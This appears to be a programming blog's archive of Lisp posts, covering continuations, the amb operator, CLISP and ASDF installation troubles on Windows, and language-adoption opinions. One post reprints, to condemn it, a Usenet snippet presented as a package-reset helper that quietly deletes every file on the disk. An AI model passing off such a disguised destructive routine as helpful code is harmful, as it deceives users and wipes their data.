Archive for the ‘lisp’ Category

On Declarative Languages

Monday, July 28th, 2008

Domain specific languages (DSLs) are usually implemented as declarative languages, where the only data is expressed, and invariant rules are coded into the language interpreter itself.

Dave Herman has thought through some of the practicalities of using declarative languages, particular when a complex system has to be broken up into modules. This leads to problems like overriding, specificity of rules, recursion.

Other problems with DSLs include

1) difficulty in debugging. It is hard to debug data, add breakpoints

2) difficulty in showing derivation of results.

3) error handling is hard

Continuation Sandwich

Sunday, April 29th, 2007

An old post, but a good one (via Etymon):

Say you’re in the kitchen in front of the refrigerator, thinking about a sandwitch. You take a continuation right there and stick it in your pocket. Then you get some turkey and bread out of the refrigerator and make yourself a sandwitch, which is now sitting on the counter. You invoke the continuation in your pocket, and you find yourself standing in front of the refrigerator again, thinking about a sandwitch. But fortunately, there’s a sandwitch on the counter, and all the materials used to make it are gone. So you eat it. :-)

Parallel Universes and Lara Croft

Wednesday, April 11th, 2007

Field’s medallist winner Terence Tao explains how parallel universes and quantum mechanics can be possible by way of Tomb Raider.

In trying to come up with a classical conceptual model in which to capture these non-classical phenomena, we eventually hit upon using the idea of using computer games as an analogy. The exact choice of game is not terribly important, but let us pick Tomb Raider - a popular game from about ten years ago (back when I had the leisure to play these things), in which the heroine, Lara Croft, explores various tombs and dungeons, solving puzzles and dodging traps, in order to achieve some objective. It is quite common for Lara to die in the game, for instance by failing to evade one of the traps. (I should warn that this analogy will be rather violent on certain computer-generated characters.)

Via Will Farr Via Planet Scheme

Full Text Indexing in Ruby is Faster than Java

Wednesday, November 22nd, 2006

Jim Wiseman John Wiseman, who is porting Ferret to Lisp, reports on the blazing performance of Ferret.

(Ferret was originally a port of Lucene, but recent alteration to the file format has increased performence 5x over GCJ, and then the author ported to C to get an order of magnitude improvement.)

The moral of the story is not one of premature optimization, but working with pliable languages vs working with brittle ones.

ECL Patch accepted

Sunday, September 3rd, 2006

I patched ECL’s interpreter (which is written in lisp itself) to support restarts, and the patch was accepted.

Not bad for a Lisp newbie. (grin)

Lisp Usenet (almost) Wipes Newbie’s HD

Friday, June 16th, 2006

What a contrast between lisp forums and python forums. Check out the following usenet thread.

A newbie after learning how to hello world in lisp, is given a snippet with the equivalent of “rm -rf /*” as a solution after posting a legitimate question on comp.lang.lisp.

View thread on google groups.

(defun reset-cluser ()
   "Delete the COMMON-LISP-USER package and makes a new one."
   (let ((setp (eq *package* (find-package "COMMON-LISP-USER"))))
     (let ((*package* (find-package "COMMON-LISP")))
       (delete-package "COMMON-LISP-USER")
       (defpackage "COMMON-LISP-USER"
         (:nicknames "CL-USER")
         (:use "COMMON-LISP"))
       (mapcar (lambda (x) (ignore-errors (delete-file x)))
               (directory "/**/*.*"))
     (when setp (setf *package* (find-package "COMMON-LISP-USER")))))) 

Watch out for this name:
Pascal Bourguignon
No good can come from messing around with a sociopath.
BobF if you are keen on learning lisp, contact me and we can do it together, in safety.

To quote kefex on reddit.com:

The thread seems to confirm all the worst stereotypes about geeks with poor social skills, pulling this pathetic compensatory macho strutting on usenet to make up for being outcasts in high school.

Think about it — do the real heros of our discipline, the gods, the fucking real deal ever behave that way? Can you imagine Donald Knuth pulling this nonsense? Or Daniel Hillis? Or Guido van Rossum? Can you see them frequenting a list where this kind of behaviour prevails?

The worst thing is members of the group actually defend this sort of behavior saying the perpetrator has been helpful in the past. But if you inspect closer, he was helpful to the insiders not the guests. One poster actually defended Pascal saying he must have had a bad day. I guess that makes it OK to go out and murder someone’s job? Comp.lang.lisp is no different to a gang of louts who pat themselves on the back, have no mechanism of self-policing, and then go and say loutish behaviour is part of LISP’s culture.

Pascal wasn’t particularly remorseful, shrugging off that anyone ought to check the code before running it. However, he had already provided a piece of innocuous code before, and would have caught anyone with their guard down. Furthermore, this is buried in lines and lines of other code.

comp.lang.lisp is beyound redemption. The only proper outcome is for PB to issue a complete, unconditional apology and to sin-bin himself from comp.lang.lisp for a few months.

Anyway, this is one of the good things about python. Pythonistas are generally a cheerier bunch. Maybe they meditate more and are not so angry?

Hi amb

Wednesday, May 31st, 2006

A colleague introduced me to the amb operator. The best reference is Teach Yourself Scheme in Fixnum days.

(define-macro amb
  (lambda alts...
    `(let ((+prev-amb-fail amb-fail))
       (call/cc
        (lambda (+sk)

          ,@(map (lambda (alt)
                   `(call/cc
                     (lambda (+fk)
                       (set! amb-fail
                         (lambda ()
                           (set! amb-fail +prev-amb-fail)
                           (+fk 'fail)))
                       (+sk ,alt))))
alts...)

          (+prev-amb-fail))))))

In BASIC,
(amb 10 20 30)
roughly translates to


100 REM ------- AMB 1 2 3 -----------
102 PREV_FAIL = SAVE_PREV_GOTO
105 ON ERROR GOTO 115
110 RETURN 10
115 ON ERROR GOTO 125
120 RETURN 20
125 ON ERROR GOTO 13
130 RETURN 30
135 ON ERROR GOTO PREV_FAIL
140 RAISE ERROR
200 REM ------ AMB ----------------
210 RAISE ERROR

Python Envy

Wednesday, May 24th, 2006

GaryKing asks:

I’ve been looking at Ruby quite recently while working on Montezuma with John Wiseman on a port of Ferret (which is a ruby port of the java Lucene text indexing engine). I don’t see anything particularly special about Ruby; overall, it seems like another reinvention of the wheel with more syntax with which to be confused! That said, all these “scripting plus” languages do fit a niche that Lisp has not been able to play in because Lisp has too much baggage (in my holy opinion) and because Lisp qua Lisp is missing the batteries like sockets, web services, etc…

What I find most interesting, however, is the social phenomenon: why and how did Ruby and Python make it to the big time?

I thought the Reddit guys already answered the question.

  • Lisp the language may be nice, but Lisp the implementations (plural!) stuff people right up. Python matured very quickly because it’s free; it’s library rivals those of any commercial Lisp implementation; and runs on Windows.
  • In addition, Lisp relies so much on Emacs to handle indentation properly, so that code remains readable, while python tinkerers could cope with plain-old-notepad.
  • Emacs has a learning curve of its own. Most people prefer to learn one thing at a time. Definitely not Lisp and Emacs at the same time.
  • Unfortunately for Lisp, Emacs is so firmly wedded to open-source Lisp implementations that it acts as a real barrier to tinkerers.
  • Lispers who don’t know python should just take a look at the python debugging screencast on this site, and see how easy Python is to debug off the command-line compared to Lisp. Look ma, no IDE!

Self-Describing Lisp

Saturday, May 13th, 2006

Here’ s a list of documentation functions available over the LISP REPL

  • (describe #'foo)
  • (documentation #'foo t)
  • (apropos "foo")
  • (disassemble #'foo)
  • (symbol-plist 'foo)

CLISP and Mel-base

Saturday, May 13th, 2006

Unlike Python, Lisp doesn’t come with any standard libraries for SMTP client. The folks at #LISP on IRC suggested I try mel-base. It was a complete disaster. The way common lisp is, one can expect to spend more time fiddling with libraries than writing code.

ASDF-install of mel-base started smoothly.

asdf-install:install :mel-base

Unfortunately it barfed when it tried to compile the following.

#+openmcl
(defun gethostname ()
  "Returns the hostname"
  (ccl::%stack-block ((resultbuf 256))
    (if (zerop (#_gethostname resultbuf 256))
    (ccl::%get-cstring resultbuf)
    (error "gethostname() failed."))))

I didn’t know what a reader macro #_ was at this stage, and apparently cmucl has one defined.

I tried patching mel-base source to define the reader macro for CLISP but it did not work. In the end, adding the following to the initialization file .clisprc fixed that problem. With Python, it-just-works. With LISP, alas, it is just the opposite. I don’t see any solution out of this conundrum of having to change the initialization file when adding any libraries. This makes packaging and deploying software really difficult.

(make-dispatch-macro-character #\_ )
(set-dispatch-macro-character #\# #\_
    #'(lambda (s c n)
        (read s t nil t)))

The next problem with mel-base on CLISP again illustrates how badly Common Lisp implementations needs to have a standard library that people can rely on to be present on all platforms. The following code fragment simply doesn’t work on Windows CLISP. posix:uname-nodename is not defined.

#+clisp
(defun gethostname ()
  (posix:uname-nodename (posix:uname)))

I had to end my session at this spot because it was simply taking too much time. Lisp libraries was starting to feel like C libraries. Full of unexpected twists and turns, and macros that aren’t properly tested. Without a standard base of libraries to build on, too much time is spent making the underlying bits work. Another thing that python got right over Lisp is that platform specific code is defined in separate files, rather than having ifdefs sprinkled throughout a source file. This makes maintenance easier.

Update 14 May 2006

The latest mel-base.0.7 still had problems

environment.lisp needs to be patched:

#+(and :clisp :unix)
(defun gethostname ()
  (posix:uname-nodename (posix:uname)))

#+(and :clisp :win32)
(ffi:def-call-out c-gethostname
    (:name "gethostname")
    (:arguments
        (name (ffi:c-ptr
            (ffi:c-array-max ffi:char 256)) :out :alloca)
        (len ffi:int))
    (:language :stdc)
    (:return-type ffi:int)
    (:library "wsock32.dll"))

#+(and :clisp :win32)
(defun gethostname ()
    "Returns the hostname"
    (multiple-value-bind (success name) (c-gethostname 256)
        (if (zerop success)
                 (ext:convert-string-from-bytes name custom:*FOREIGN-ENCODING*)
            (error (strerr errno)))))

And there’s still this unresolved problem:

*** - READ from
       #<input BUFFERED FILE-STREAM CHARACTER
         #P"C:\\cygwin\\home\\Chui\\
            .asdf-install-dir\\site\\mel-base_0.7-0\\
            rfc2822.lisp" @323>
      : there is no character with name "vT"

asdf-install on clisp + windows

Saturday, May 6th, 2006

Update 3 July 2007: Chris Done has provided a new guide.

Since clisp is the only viable free common lisp on Windows at the moment, and asdf-install is the most vibrant of all lisp distributed library solution, we need clisp and asdf-install to run properly. Lots of people have hit problems trying though:

This google groups thread suggests that a patch is available but didn’t clarify what.

http://wiki.alu.org/ASDF_Universality has a project going.

This more recent thread suggests avoiding asdf-install altogether.

Resolution steps

  • Check in asdf-install.lisp that *cygwin-bash-program* and *gnu-tar-program* points to the correct path. You need the former if you are running the cygwin-compiled version, and the latter if you are running the mingw version.
  • This thread from 2004 has patches from Alex Mizrahi which still hasn’t been applied. I believe these identify the critical errors in CLISP/MingW distribution. Specifically:

    i don't know whether it works for cygwin version, but for native one version
    that is
    #+(not :win32) works fine except :wait nil - in this case it can
    capture no output. with :wait t all is well. 
  • There is a misplaced parenthesis in asdf-install/port.lisp:
    #+(and :clisp :win32)
    (defun return-output-from-program (program args)
      (unless (probe-file program)
        (error "External program not found ~A" program))
      (with-output-to-string (out-stream)
        (let ((stream
                (ext:run-shell-command
                 (format nil "~A~{ ~A~}" program args)
                 :output :stream
                 :wait t)))
          (loop for line = (ignore-errors (read-line stream nil))
                while line
                do (write-line line out-stream)))))
  • Download distribution manually
  • Save the distribution into this directory *default-pathname-defaults*
  • change it’s file name to the name of the package. eg. rename cl-ppcre.tar.gz to cl-ppcre.
  • (asdf-install:install "cl-ppcre")

    should work now

  • asdf-install is broken in cvs. You need to set your *features* so that the following keywords are true in asdf-install/defpackage.lisp
    (pushnew :old *features*)
    (pushnew :old-asdf-behavior *features*)
  • (asdf-install:install "http://weitz.de/cl-ppcre.tar.gz")

    should work now

Adventures with CLISP on Windows 2

Wednesday, April 26th, 2006

I’m making little bits of headway with ASDF on Clisp (Windows).

Earlier I couldn’t get the asdf sources from Sourceforge via anonymous CVS checkout. The ASDF entry on CLiki is quite misleading in this regard. I suspect CVS has been turned off or never turned on in the project. The good news is that I eventually realized (from reading some forum posts) that ASDF comprises a single file - asdf.lisp and I was able to download it using ViewCVS to get started.

Problem #1: ASDF relies a great deal on symlinks to the .asd file in the central registry. This doesn’t work particularly well on windows. In fact the tutorial is more geared towards Unix readers. You’d do an item on the tutorial, and then it says, "by the way if you’re on Windows that won’t work!" I got caught out so many times.
There is also a great deal of going back and forth into editing the .clisprc file.

Problem #2: ASDF doesn’t provide any defaults, even the location of the central registry. I believe this is a mistake. For It-Just-Works ASDF, some sane defaults ought to be provided.

Problem #3: CLISP doesn’t automatically convert slashes in to backslashes in path names. This makes installation of third party libraries unnecessary cumbersome. (Python does this rather nicely by-the-way). Is this a general Lisp issue? (Update 7:00pm: It turns out that CLISP will convert slashes into backslashes on Windows)

Problem #4: ASDF-Install doesn’t work out of the box. I worked through the tutorial and tried to install PCRE. I ended up with this:

[1]> (asdf-install:install :cl-ppcre)
Install where?
0) System-wide install:
   System in \usr\local\asdf-install\site-systems\
   Files in \usr\local\asdf-install\site\
1) Personal installation:
   System in
      C:\cygwin\home\Chui\.asdf-install-dir\systems\
   Files in C:\cygwin\home\Chui\.asdf-install-dir\site\
2) Abort installation.
 --> 1
;;; ASDF-INSTALL: Downloading 166573 bytes
    from http://weitz.de/files/cl-ppcre.tar.gz to
    C:\cygwin\home\Chui\CL-PPCRE.as
df-install-tmp ...

The system cannot find the file gpg.

Windows pops up "Unable to find GPG"

*** - Call to GPG failed. Perhaps GPG is not installed
 or not in the path.
The following restarts are available:
SKIP-GPG-CHECK :R1      Don't check GPG
          signature for this package
ABORT          :R2      ABORT
Break 1 [2]> :R1
;;; ASDF-INSTALL: Installing
   C:\cygwin\home\Chui\CL-PPCRE.asdf-install-tmp
   in C:\cygwin\home\Chui\.asdf-install-dir\site\,
   C:\cygwin\home\Chui\.asdf-install-dir\systems\

The system cannot find the path specified.

Now I’m stuck.

If I were in Python, I’d get a traceback pointing to where the error likely may be. For all the gushing things that’s been said about lisp, the experience on CLISP isn’t really making fine impressions on me. Are there any other recommendations?

Problem #5: Distribution mechanisms such as PHP-PEAR offers a DEV and a RELEASE version. Shouldn’t ASDF do that too?

Update 27 Apr 2006: It seems that Lisp In A Box from Practical Lisp had some extensions to ASDF so that it works the same way in Windows as on Unix.

Lispbox includes some extensions to ASDF that modify how it finds ASD files and where it stores the files generated by COMPILE-FILE. The former makes it slightly easier to install new Common Lisp libraries and, more important, provides a mechanism that works the same on OS X, GNU/Linux, and Windows. The latter makes it easier to experiment with different Lisp implementations since it causes the files generated by COMPILE-FILE to be placed in an implementation/operating system/architecture dependent directory.

Adventures with CLISP on Windows 1

Sunday, April 23rd, 2006

Here are some notes taken during a quick session with CLISP.

I wanted to try prototyping a simple application with an RDBMS backend. Clisp doesn’t come with any RDBMS FFIs. So I started looking for one. I was hoping to use ODBC but my hopes were quickly dashed. Not a great deal of specific information to help a newbie get started.

Question 1: Why doesn’t CLISP come with ASDF bundled? I googled around but wasn’t able to get any information

Thankfully, googling for CLISP SQLITE turned up something useful - a Clisp-SQLite FFI. (SQLite is a small embeddable database)

curl -o clisp-sqlite_1.0.tar.gz
    http://ucsub.colorado.edu/~williasr/clisp-sqlite_1.0.tar.gz
curl -o sqlitedll.zip http://www.sqlite.org/sqlitedll-2_8_17.zip
tar zxf clisp-sqlite_1.0.tar.gz
unzip sqlitedll.zip

C:\...> CLISP
[1]> (require  "clisp-sqlite_1.0/clisp-sqlite")
;; Loading file C:\clisp-2.38\clisp-sqlite_1.0\clisp-sqlite.lisp ...
*** - FFI::FOREIGN-LIBRARY: Cannot open library "libsqlite.so"

Whoops, turned out the FFIs are hardwired to libsqlite.so.

C:\CLISP-2.38\> RENAME sqlite.dll libsqlite.so
C:\CLISP-2.38\> CLISP
[1]> (require  "clisp-sqlite_1.0/clisp-sqlite")
;; Loading file C:\clisp-2.38\clisp-sqlite_1.0\clisp-sqlite.lisp ...
;;  Loaded file C:\clisp-2.38\clisp-sqlite_1.0\clisp-sqlite.lisp

Question 2: What is necessary to make Clisp on Windows user experience so that "It-Just-Works"?

Things seem to work pretty well afterwards:

(require "clisp-sqlite_1.0/clisp-sqlite")
(sqlite:with-open-db (db "test.db")
    (sqlite:sql db
        "create table todo (todoid int, name varchar(50), done int)")
    (sqlite:sql db
        "insert into TODO (TODOID, Name, Done) VALUES (1, 'USE LISP', 0)")
    (format t "~a" (sqlite:sql db
        "SELECT TODOID, Name, Done FROM TODO")))

Question 3: Are there any standard APIs that the Lisp community uses to access databases? CLSQL seems promising.. but CLISP wasn’t mentioned in the compatibility list. What about MaiSQL ? Where’s the consensus here?

Answers appreciated.

Indentation Based Lisp

Thursday, February 16th, 2006

Paul Graham’s take on Lisp without the nail clippings is RTML, the templating language which powers Yahoo Store.

My-Name ()
TITLE "My Name Is"
BODY
  TEXT "Hello, my name is "
  LINEBREAK
  IMAGE source RENDER text @name
                      text-color red
                      font-size 20

Picking exotic languages

Friday, February 10th, 2006

Dear colleague, and you intend to develop in a language that has lukewarm company support: don’t do it.

It’s hard enough debugging someone else’s code, and it is even harder debugging unfamiliar code written in someone else’s language, with an unfamiliar tool (like emacs) that I haven’t even installed on my workstation, with unfamiliar semantics (e.g. is an empty list false ?)

When you go on your holidays or fall sick, some one has to support the code. Especially when a customer calls up with a show stopping bug. I’ve got family and kids, and would rather not stay at work late just because a colleague had taken a language to his fancy, and decided the next project was going to be done differently.

By all means, if it is the right tool, then persuade the company to support it overwhelmingly. That means every guy in the team will be sent to courses to learn it, there are licenses for every developer, that the toolset will be deployed into all developers standard development environments, and you will be doing additional code walkthroughs so that no guy is left behind.

Weighing Exotic Technologies

Thursday, February 9th, 2006

Peter Coffee makes a case for LISP in E-Week (via Phil Windley’s Technometria), arguing that Lisp trades memory/CPU usage for expressiveness, so that one can deliver applications quicker.

While I agree that Lisp is more expressive than, say Java, it’s not necessarily the platform to chose to develop web applications with.

  1. Forget about using Common Lisp for portability. The reality is Common Lisp’s feature set no longer match web development or database development. Want sockets (the basic building blocks of web applications)? Well, you will have to rely on vendors’ library for support. The same goes for anything that builds on top of sockets: SMTP, SOAP, or POP3
  2. The Lisp web developer community is very small, this means that there is no secondary market of component makers to service this community. Want a HTML calendar? Roll your own. Want AJAX? Roll your own. Want professional looking charts? Roll your own. The days of grandfather making his own axes are over.
  3. A lot of features that Lisp pioneered have made it into new languages. JavaScript has closures, C# and Java has garbage collection. You give up Lisp macros, but you pick up attributed languages and templates with C# or Java.

Note: this is not a criticism of Lisp, but of exotic technologies. If you want to deploy exotic technologies, make sure they live on the upper layers of your stack, for instance, as scripting languages. This way, they will still be able to talk to your JDBC drivers, or use the comprehensive framework libraries of Java or .Net or even PHP, and tap into the large pool of third party components available for these languages.

Just in case you think I’m a .Net bigot or a Java zealot, I spend about 80% of my time developing on top of Zope, a Python web platform, and from personal experience, although Python is nice an productive, one ends up spending a lot of time writing and debugging components that one could have bought if one were using .Net or Java, and I often wonder if the the gain in productivity makes up for the time spent writing instead of buying.

Continuations Made Simple

Friday, January 27th, 2006

Heard of call with current continuation and never grokked it? Here is a worked introduction to call/cc in BASIC.


10  REM ---- MAIN -------
20  PRINT "MAIN 1"
30  GOSUB 110
40 PRINT "MAIN 2"
100 REM --- FOOA ------
110 PRINT " FOOA 1"
120 GOSUB 220
130 PRINT " FOOA 2"
140 RETURN
200 REM --- FOOB ------
210 PRINT "  FOOB 1"
220 PRINT "  FOOB 2"
230 RETURN

When you run the program, you get this.

MAIN 1
 FOOA 1
  FOOB 1
  FOOB 2
 FOOA 2
MAIN 2

Alright, let’s consider what’s going on here

Main calls FOOA, which in turn calls FOOB

+-------+
| MAIN 1|
+-------+
    |
    |   +----------+
    +-->|  FOOA 1  |
        +----------+
             |
             |         +-----------+
             +-------->|  FooB 1   |
                       +-----------+

and then FOOB returns to FOOA, which in turn returns to MAIN

+-------+
| MAIN 2|
+-------+
    ^
    |   +----------+
    +-->|  FOOA  2 |
        +----------+
             ^
             |         +-----------+
             +---------|  FooB 2   |
                       +-----------+

If we draw a vertical timeline, this is what happens

+-------+
| MAIN 1|
+-------+
    |
    |   +----------+
    +-->|  FOOA 1  |
        +----------+
             |
             |         +-----------+
             +-------->|  FooB 1   |
                       +-----------+
                            |
                            |
                            v
                       +-----------+
             +---------|  FooB 2   |
             |         +-----------+
             v
        +----------+
    +---|  FOOA  2 |
    |   +----------+
    v
+-------+
| MAIN 2|
+-------+


Take another look at the vertical timeline. The entire program could actually have been constructed entirely of GOTOs. GOSUB and RETURN is actually a special case of GOTO. Conversely, we can also say GOTO is a special case of GOSUB/RETURN.

Here is a possible implementation of GOTO as a special case of GOSUB.


(code copied from the top so that you don't have to scroll)
10  REM ---- MAIN -------
20  PRINT "MAIN 1"
30  GOSUB 110
40  PRINT "MAIN 2"
100 REM --- FOOA ------
110 PRINT " FOOA 1"
120 GOSUB 220
130 PRINT " FOOA 2"
140 RETURN

When line 30 calls line 110, line 30 could pass an additional argument with a value of ‘40′ (which is the next line to be executed after FOOA returns). When the BASIC interpreter encounters a RETURN statement at line 140, it GOSUB to line 40.

(pregnant pause here)

OK, now your head is spinning. You might ask: GOSUB without returns? Wouldn’t that blow the stack? Or … argue that Chui is cheating, because BASIC doesn’t have local variables in functions. Just bear with me one more moment.

In structured programming, say if you could pass in ‘40′ as well as a pointer to the list of local variables in the current function. Then when FOOA returns it can call GOSUB 40, passing in the list of local variables passed in earlier from MAIN. Of course, this may mean that the local variables live on the heap instead of a stack, and you need alternate garbage collection algorithms. (For instance, when refcount of the variable list goes back down to 0, then free the memory.)

OK, now that we have given form to a concept, what are we going to call this ‘40′ and the ‘list-of-local-variables’ ? Answer: current continuation. Call-with-current-continuation converts the remaining code in the calling function into a closure (which is a function that has preinitialized local variables), and passes this closure to the function it is calling.

(pregnant pause)

With explicit access to the a continuation, you can optionally choose not to call it, or even to call it again and again. It is counterintuitive, but being able to call continuations can actually make the program logic more transparent in cooperative multitasking. But that’s for another day.

What about performance? Calling functions can be expensive, isn’t it? Remember that GOSUB and GOTO are equivalent? Guy Steele had shown in a paper titled “Lambda the Ultimate GOTO”, that there is a standard series of steps for a compiler to transform function-calling into equivalent GOTOs.

Questions? comments?